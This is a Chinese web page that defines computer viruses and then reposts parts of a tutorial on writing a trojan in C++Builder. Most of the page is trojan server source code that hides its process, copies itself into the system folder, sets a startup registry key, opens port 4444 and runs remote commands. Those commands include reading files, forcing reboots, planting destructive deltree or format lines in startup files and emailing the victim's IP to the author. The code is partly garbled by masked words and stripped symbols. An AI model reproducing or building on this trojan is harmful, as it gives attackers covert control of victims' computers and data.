什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和 *** 等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和 *** ,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令 *** 。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Runn

  • 评论列表:
  •  性许怙棘
     发布于 2022-06-27 10:33:39  回复该评论
  • 水岭终于出现。Windows系统使用一种新的链接技术,这种被称为“动态链接”(Dynamic Link)的新技术同样也是使用库文件,微软称它们为“动态链接库”——Dynamic Link Library,DLL的名字就是这样来的。动态链接本身和静态链接没什么区别,也是把通用代码写进一些独
  •  假欢蓝殇
     发布于 2022-06-27 10:50:23  回复该评论
  • }} 如果以上都不是,就让它在Dos窗口中执行传来的命令:{else { file://如果都不是 char * CR_TF="\n"; times_of_try=0; w

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.